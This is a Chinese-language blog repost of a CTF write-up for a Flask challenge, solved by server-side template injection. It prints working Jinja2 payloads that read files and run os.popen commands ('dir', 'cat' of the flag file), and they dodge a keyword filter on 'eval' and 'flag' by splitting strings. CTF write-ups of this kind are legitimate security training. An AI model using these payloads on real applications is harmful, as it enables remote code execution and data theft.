当前位置:首页 > 移动开发 > 正文

flaskapp

2024-03-31 移动开发

前置知识
https://blog.csdn.net/u013457794/article/details/88997699?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task
https://zhuanlan.zhihu.com/p/32336971
https://xz.aliyun.com/t/2553#toc-2
https://evi0s.com/2018/11/26/深入ssti-从nctf2018两道flask看bypass新姿势/
check了关键字:eval,flag。
打开界面,是base64加密和解密
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==‘catch_warnings‘ %}{{ c.__init__.__globals__[‘builtins‘].open(‘filename‘, ‘r‘).read() }}{% endif %}{% endfor %}
可文件读取,文件名不知道是啥
看到PIN码,凑齐6个条件,写了脚本,没跑出来。。
最后直接绕过。。。。绕过了。。。。。
{{{}.__class__.__base__.__subclasses__()[103].__init__.__globals__[‘builtins‘][‘ev‘ ‘al‘]("__imp" "ort_" "_(‘o" "s‘).po" "pen(‘dir‘).read()")}}
爆出flag文件名
用拼接法{{{}.class.base.subclasses()[103].init.globals[‘builtins‘][‘ev‘ ‘al‘]("__imp" "ort_" "_(‘o" "s‘).po" "pen(‘cat ./../../../../../../" "this_is_the_f" "lag.txt‘).read()")}}
得到flag(flag就不占了,uuid形式)

温馨提示: 本文由Jm博客推荐,转载请保留链接: https://www.jmwww.net/yidong/18408.html